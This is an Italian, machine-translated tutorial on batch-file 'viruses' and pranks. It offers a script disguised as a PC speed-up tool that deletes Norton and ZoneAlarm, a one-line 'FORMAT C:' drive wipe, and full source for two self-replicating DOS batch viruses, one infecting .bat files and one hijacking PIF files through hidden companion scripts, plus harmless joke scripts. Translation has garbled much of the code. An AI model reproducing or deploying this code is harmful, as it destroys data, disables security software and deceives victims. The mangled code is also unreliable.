Trucchi e virus in batch: 3 passaggi

2024 Autore: John Day | [email protected]. Ultima modifica: 2024-01-30 10:05

Come creare uno scherzo e virus reali in BATCH Nota: non sono responsabile per eventuali danni che fai al tuo computer al computer di qualcun altro Nota: quando vuoi salvare il file, dovresti salvarlo come qualsiasi cosa.bat

Passaggio 1: virus reali (semplici)

il primo:copia il codice ******************************************* **************@echo benvenuto nel winbooster di ELECTROfun@echo se vuoi rendere il tuo computer più veloce, dovresti fare i seguenti passaggi@pause cd\ c: dir dir c:\progra~1\norton~1 @echo ora dovresti digitare y e premere invio @pause del c:\progra~1\norton~1 @pause c: dir @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo ok ora il tuo computer è "DAVVERO!" Veloce: esci ********************************************* * Nota: salva il file tutto ciò che vuoi.bat Nota: tutto ciò che è After @echo può essere modificato (puoi scrivere quello che vuoi) Il secondo: *************** colore 02FORMATO C:***************

Passaggio 2: virus reali (quelli avanzati)

1. Il più potente ******************@if not '%0==' if '%_melt%==' goto meltbeg::---- dummy host --------@echo offecho Hello World!::---- end dummy host ----@goto MeLTend [MeLT_2a]:MeLTbeg@echo off%_MeLT%if '%1=='MeLT goto MeLT%2if non esiste %comspec% set comspec=%_MeLT%command%comspec% /e:5000 /c %0 MeLT virset MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT=set MeLTcl=goto MeLTend:MeLTrhset _MeLT=x%0 %MeLTcl%:MeLTvirset MeLTH=%0se non esiste %_MeLT%%temp%\nul set temp=%tmp%se esiste %temp%\MeLT_2a goto MeLTrun%0 MeLT trova. %path%:MeLTfndshift%_MeLT%if '%2==' exit MeLTset MeLT=%2\%MeLTH%.batif non esiste %MeLT% imposta MeLT=%2\%MeLTH%if non esiste %MeLT% imposta MeLT= %2%MeLTH%.batif non esiste %MeLT% set MeLT=%2%MeLTH%se non esiste %MeLT% goto MeLTfndfind "MeLT"%temp%\MeLT_2aattrib %temp%\MeLT_2a +h:MeLTrun%MeLTH% MeLT s… %path%:MeLTsshift%_MeLT%if '%2==' exit MeLTfor %%a in (%2\*.bat %2*.bat) chiama %MeLTH% MeLT inf %%agoto MeLTs:MeLTinffind / i "MeLT"nulif not errorlevel 1 goto MeLTnoecho @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.ttype %3>>MeLT.techo.>>MeLT.ttype % temp%\MeLT_2a>>MeLT.tmove MeLT.t %3>nulexit MeLT:MeLTact - testo dello schermo flash-melt poi riportato al normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.techo e 120 B4 4C CD 21 00>>MeLT.techo g>>MeLT.tdebugnuldel MeLT.texit MeLT:MeLTnoset MeLTC =%MeLTC%1if %MeLTC%==1111111111 vai a MeLTact:MeLTend*********************************** ********2. Questo è un virus che "infetta" i file PIF, utilizzato da Windows per eseguire programmi DOS. Funziona creando batch companion nascosti contenenti copie di questo, quindi modificando il file PIF in modo che il batch companion venga eseguito per primo. Dopo che il compagno viene eseguito, esegue il programma host originale, il cui nome è codificato nel compagno. I file pif sono contrassegnati in modo che non vengano nuovamente infettati. Sono interessati solo i PIF, non vengono apportate modifiche ai programmi infetti. Per "curare", usa PIFEDIT per ripristinare i nomi dei file originali, quindi elimina i file nascosti.*********************************** ***************@echo off:: host filename…set pifvo=LIST. COM:: loop dispatcher…if '%1=='PiFV goto PiFV_%2:: esegui il virus!set _PiFV=se non esiste %comspec% set comspec=C:\COMMAND. COM%_PiFV%%comspec% /e:5000 /c %0 PiFV vai>nulif esiste PiFV! del PiFV!:: esegue l'hostset PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo=set PiFVcl=:: verifica l'attivazione…echo.|date|find / i "sat">nul. PiFVif errorlevel 1 goto PiFV_endecho.|time|find "7">nul. PiFVif errorlevel 1 goto PiFV_msgset PiFV=echocls%_PiFV%%PiFV%.%PiFV% C'era una volta una lontra chiamata Oscer%PiFV % Chi ha affermato di sapere come fare l'acqua.%PiFV% "Basta dighe", ha detto, "usa invece la mia acqua!"%PiFV% Ma la lontra anziana non è rimasta colpita.pause>nul. PiFVset PiFV=goto PiFV_end: PiFV_msgecho [PiFV] di WaveFuncgoto PiFV_end:PiFV_hst%PiFVo% %PiFVcl%goto PiFV_end:PiFV_goset PiFVh=%0se non esiste %PiFVh% imposta PiFVh=%0.batif non esiste %PiFVh% (* exitfor %pi in) chiama %0 PiFV inf %%aexit PiFV:PiFV_infset PiFVp=%3:: ottieni il nome del file della vittima e l'indicatore di infezione:: dal file PIF usando debug…se esiste PiFV! goto PiFV_1echo m 124, 162 524>PiFV!echo e 100 '@set fn='>>PiFV!echo m 524, 562 108>>PiFV!echo n pifv$.bat>>PiFV!echo rcx>>PiFV!echo 47>>PiFV!echo w>>PiFV!echo m 55E, 561 108>>PiFV!echo e 10C 0>>PiFV!echo n pifv$$.bat>>PiFV!echo rcx>>PiFV!echo 10>> PiFV!echo w>>PiFV!echo q>>PiFV!:PiFV_1debug %PiFVp%nulcall PiFV$set PiFVn=%fn%call PiFV$$set PiFVi=%fn%del PiFV$?.bat:: pifvn=nome file originale:: pifvi=marcatore di infezione:: pifvp=pif filename:: pifvh=companion bat file:: salta pif infetti o 'vuoti'…if '%PiFVi%=='PiFV goto PiFV_endif '%PiFVn%==' goto PiFV_end:: don't shadow command.com (be nice)echo %PiFVn%|find /i "command">nulif not errorlevel 1 goto PiFV_end:: infectable - crea un companion batch…:: (il seguente codice rimuove l'estensione) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$echo n pifv$.com>>PiFV$$echo rcx>>PiFV$$echo 2a>>PiFV$$echo w>>PiFV$$echo q >>PiFV$$debugnulecho %PiFVn%|PiFV$>PiFV$$.batcall PiFV$$set PiFVb=%fn%.batdel PiFV$?.*:: pifvb=nuovo nome batch:: non ombreggiare se comp ha lo stesso name as hostif %PiFVo%==%PiFVb% goto PiFV_endif esiste %PiFVb% goto PiFV_endecho @echo off>%PiFVb%echo set pifvo=%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib %PiFVb% +h:: …e punta il PIF al companionecho e 15E 'PiFV', 0>PiFV$$echo e 124 '%PiFVb%', 0>>PiFV$$echo w>>PiFV$$echo q>>PiFV $$debug %PiFVp%nuldel PiFV$$:: Penso che abbiamo finito!exit PiFV:PiFV_end:: mi chiedo quanti bug ha tutto questo? Solo uno:: modo per scoprirlo…**************************************** **********

Passaggio 3: virus scherzo e un trucco

1.prank virus*******************colore 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir*/secho@ed ************************* Nota: il "colore 02" serve a rendere il testo green2.trick (codice matrice)****** *************************@echo offcolor 02:startecho %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% vai all'inizio************************ ******************